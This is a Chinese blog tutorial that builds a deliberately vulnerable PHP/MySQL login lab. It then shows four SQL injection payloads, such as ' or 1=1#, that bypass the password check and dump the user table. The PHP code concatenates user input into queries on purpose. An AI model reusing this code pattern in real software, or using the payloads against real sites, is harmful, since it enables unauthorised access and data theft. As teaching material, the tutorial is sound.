SQL注入

本文最后更新于:2021年11月30日 凌晨

🛢️SQL注入

⭕实例代码,仅供测试⭕

## 环境准备

搭建数据库基本环境

1
2
3
4
5
6
7
8
create database myDB;		# 创建数据库
use myDB; # 进入数据库
CREATE TABLE sqljection (
id INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(64) UNIQUE NOT NULL,
password VARCHAR(64) NOT NULL,
email VARCHAR(64) NOT NULL)
ENGINE=MyISAM AUTO_INCREMENT=917432 DEFAULT CHARSET=latin1; # 创建表

创建注册用户页面

先进入网页的根目录

1
cd /var/www/html/

创建网页文件

1
vim zuche.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<title>This is a SQLjection!</title>
<body>
<form action="" method="post">
Username:<input type="text" name="username"/>
Password:<input type="text" name="pswd"/>
Email:<input type="text" name="email"/>
<input type="submit" value="插入数据"/>
</form>
<?php
$hostname="localhost";
$username="root";
$password="123456";
$database="myDB";
$conn=new mysqli($hostname,$username,$password,$database);
$str1=ltrim($_POST['username']);
$str2=md5(ltrim($_POST['pswd']));
$str3=ltrim($_POST['email']);
$sql="INSERT INTO sqljection(username,password,email) VALUES('$str1','$str2','$str3')";
if(($str1<>NULL)&&($str2<>NULL))
{
$conn->query($sql);
}
$conn->close();
?>
</body>
</html>

打开效果:

创建登录页面

1
vim login.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<title>This is a login about sqljection</title>
<body>
<form action="checklogin.php" method="post">
<fieldset >
<legend>Sql注入演示</legend>
<table>
<tr>
<td>用户名:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>&nbsp;&nbsp;码:</td>
<td><input type="text" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="提交"></td>
<td><input type="reset" value="重置"></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>
1
vim checklogin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type"content="text/html;charset=utf-8">
</head>
<body>
<?php
$servername = "localhost";
$username ="root";
$password ="123456";
$dbname = "myDB";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
$name=$_POST["username"];
$pwd=md5($_POST["password"]);
$sql="select * from sqljection where username='$name' and password='$pwd'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
echo "<h2>";
echo "id: " . $row["id"]. ", <br> username is: " . $row["username"]. ", <br> password is: " . $row["password"].", <br> email is: " . $row["email"]. "<br>";
}
} else {
echo "<h2>您的用户名或密码输入有误,<a href=\"login.html\">请重新登录!</a>";
}
$conn->close();
?>
</body>
</html>

打开效果:

手动插入实验数据

插入数据前数据库验证

开始创建两个可用于实验的数据

再次查看数据库

尝试正常登录检查

使用正常的账号密码进行登录测试

这样就说明环境搭建正常,开始进行实验

📌开始注入

打开登录页面开始注入非法字符

案例1

实现原理:直接恶意注释原代码里面的数据库查询语句中的查询密码这一项,导致密码验证直接失效实现无密码登录

1
[用户名]'#

这样就直接不需要密码就可以直接能够成功登录了。

案例2

实现原理:直接恶意更改数据库验证策略,导致后面代码块验证直接失效实现无密码验证登录

1
[用户名]'or1='1

这样就直接不需要密码就可以直接能够成功登录了。

案例3

实现原理:直接恶意更改数据库查询策略,导致后面代码块验证直接失效实现无密码验证登录

1
[用户名]'or'1

这样不但不需要密码就可以直接能够成功登录了而且还能查询到数据库中的所有数据

案例4

实现原理:直接恶意更改数据库查询策略,以及注释查询代码,直接显示数据库

1
'or 1=1#

这样不但不需要密码还可以不用正确的用户名就可以直接能够成功登录了而且还能查询到数据库中的所有数据

📣特别声明

此文章全部都是依靠自己的学习理解来写的原创文章,难免可能会出现有错误的地方,

如果大家以后阅读的时候发现有问题,那就麻烦到下方评论区来进行错误指出,使错误尽快做出改正,

在此,感谢大家的阅读与支持!🤝💦🎉

🍻支持一下

觉得我写的好的话可以支持一下我哦~持续关注我,会更新其他好玩且实用的项目。

👋如果我能帮助到你,那就请我喝杯🧋呗~👇👇👇


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!